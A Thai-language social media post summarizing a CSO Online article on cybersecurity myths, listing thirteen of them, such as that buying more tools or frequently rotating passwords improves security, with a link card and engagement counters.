    นอกจากนี้ยังมีความเข้าใจผิดว่า “การซื้อเครื่องมือมากขึ้นจะทำให้ปลอดภัยขึ้น” ทั้งที่ความจริงแล้ว ปัญหาหลักมักอยู่ที่การขาดกลยุทธ์และการบูรณาการ ไม่ใช่จำนวนเครื่องมือ

    บทความยังเตือนว่า “การเปลี่ยนรหัสผ่านบ่อย ๆ” อาจทำให้ผู้ใช้สร้างรหัสผ่านที่คาดเดาง่ายขึ้น เช่น เปลี่ยนจาก Summer2025! เป็น Winter2025! ซึ่งไม่ได้ช่วยเพิ่มความปลอดภัยจริง

    รายการ 13 ความเชื่อผิด ๆ ด้านไซเบอร์
    AI จะมาแทนที่มนุษย์ในงานด้านความปลอดภัย
    แพลตฟอร์มเทคโนโลยีขนาดใหญ่มีระบบยืนยันตัวตนที่แข็งแรงพอจะป้องกันการปลอมแปลง
    การลงทุนในผู้ให้บริการยืนยันตัวตนจะป้องกันการโจมตีล่าสุดได้
    การซื้อเครื่องมือมากขึ้นจะทำให้ปลอดภัยขึ้น
    การจ้างคนเพิ่มจะช่วยแก้ปัญหาความปลอดภัยไซเบอร์ได้
    หากเราป้องกันการโจมตีล่าสุดได้ เราก็ปลอดภัยแล้ว
    การทดสอบและวิเคราะห์ระบบอย่างละเอียดจะครอบคลุมช่องโหว่ทั้งหมด
    ควรเปลี่ยนรหัสผ่านเป็นประจำเพื่อความปลอดภัย
    สามารถจัดการใบรับรองดิจิทัลทั้งหมดด้วยสเปรดชีตได้
    การปฏิบัติตามกฎระเบียบ (compliance) เท่ากับความปลอดภัย
    ภัยจากควอนตัมคอมพิวติ้งยังอยู่ไกล ไม่ต้องกังวลตอนนี้
    ควรอนุญาตให้หน่วยงานรัฐเข้าถึงการเข้ารหัสแบบ end-to-end เพื่อความปลอดภัย
    การปล่อยให้ AI เติบโตโดยไม่มีการควบคุมจะช่วยเร่งนวัตกรรม

    https://www.csoonline.com/article/571943/22-cybersecurity-myths-organizations-need-to-stop-believing-in-2022.html
    🛡️ “22 ความเชื่อผิด ๆ ด้านไซเบอร์ที่องค์กรควรเลิกเชื่อ” — เมื่อแนวทางความปลอดภัยแบบเดิมกลายเป็นกับดักในยุค AI บทความจาก CSO Online ได้รวบรวม 22 ความเชื่อผิด ๆ ที่องค์กรจำนวนมากยังยึดติดอยู่ แม้โลกไซเบอร์จะเปลี่ยนแปลงไปอย่างรวดเร็ว โดยเฉพาะเมื่อเทคโนโลยีใหม่ ๆ อย่าง AI และการโจมตีแบบซับซ้อนเข้ามาเปลี่ยนเกม ตัวอย่างเช่น ความเชื่อว่า “AI จะมาแทนที่มนุษย์ในงานด้านความปลอดภัย” นั้นไม่เป็นความจริง เพราะแม้ AI จะช่วยกรองข้อมูลและตรวจจับภัยคุกคามได้เร็วขึ้น แต่มันยังขาดความเข้าใจบริบทและการตัดสินใจเชิงกลยุทธ์ที่มนุษย์ทำได้ อีกหนึ่งความเชื่อที่อันตรายคือ “การยืนยันตัวตนแบบวิดีโอหรือเสียงสามารถป้องกันการปลอมแปลงได้” ซึ่งในยุค deepfake นั้นไม่เพียงพออีกต่อไป เพราะแฮกเกอร์สามารถสร้างวิดีโอปลอมที่หลอกระบบได้ภายในเวลาไม่ถึงวัน นอกจากนี้ยังมีความเข้าใจผิดว่า “การซื้อเครื่องมือมากขึ้นจะทำให้ปลอดภัยขึ้น” ทั้งที่ความจริงแล้ว ปัญหาหลักมักอยู่ที่การขาดกลยุทธ์และการบูรณาการ ไม่ใช่จำนวนเครื่องมือ บทความยังเตือนว่า “การเปลี่ยนรหัสผ่านบ่อย ๆ” อาจทำให้ผู้ใช้สร้างรหัสผ่านที่คาดเดาง่ายขึ้น เช่น เปลี่ยนจาก Summer2025! เป็น Winter2025! ซึ่งไม่ได้ช่วยเพิ่มความปลอดภัยจริง 🧠 รายการ 13 ความเชื่อผิด ๆ ด้านไซเบอร์ 🪙 AI จะมาแทนที่มนุษย์ในงานด้านความปลอดภัย 🪙 แพลตฟอร์มเทคโนโลยีขนาดใหญ่มีระบบยืนยันตัวตนที่แข็งแรงพอจะป้องกันการปลอมแปลง 🪙 การลงทุนในผู้ให้บริการยืนยันตัวตนจะป้องกันการโจมตีล่าสุดได้ 🪙 การซื้อเครื่องมือมากขึ้นจะทำให้ปลอดภัยขึ้น 🪙 การจ้างคนเพิ่มจะช่วยแก้ปัญหาความปลอดภัยไซเบอร์ได้ 🪙 หากเราป้องกันการโจมตีล่าสุดได้ เราก็ปลอดภัยแล้ว 🪙 การทดสอบและวิเคราะห์ระบบอย่างละเอียดจะครอบคลุมช่องโหว่ทั้งหมด 🪙 ควรเปลี่ยนรหัสผ่านเป็นประจำเพื่อความปลอดภัย 🪙 สามารถจัดการใบรับรองดิจิทัลทั้งหมดด้วยสเปรดชีตได้ 🪙 การปฏิบัติตามกฎระเบียบ (compliance) เท่ากับความปลอดภัย 🪙 ภัยจากควอนตัมคอมพิวติ้งยังอยู่ไกล ไม่ต้องกังวลตอนนี้ 🪙 ควรอนุญาตให้หน่วยงานรัฐเข้าถึงการเข้ารหัสแบบ end-to-end เพื่อความปลอดภัย 🪙 การปล่อยให้ AI เติบโตโดยไม่มีการควบคุมจะช่วยเร่งนวัตกรรม https://www.csoonline.com/article/571943/22-cybersecurity-myths-organizations-need-to-stop-believing-in-2022.html
    WWW.CSOONLINE.COM
    13 cybersecurity myths organizations need to stop believing
    Security teams trying to defend their organizations need to adapt quickly to new challenges. Yesterday's best practices have become today's myths.
    0 ความคิดเห็น 0 การแบ่งปัน 68 มุมมอง 0 รีวิว
Pages Boosts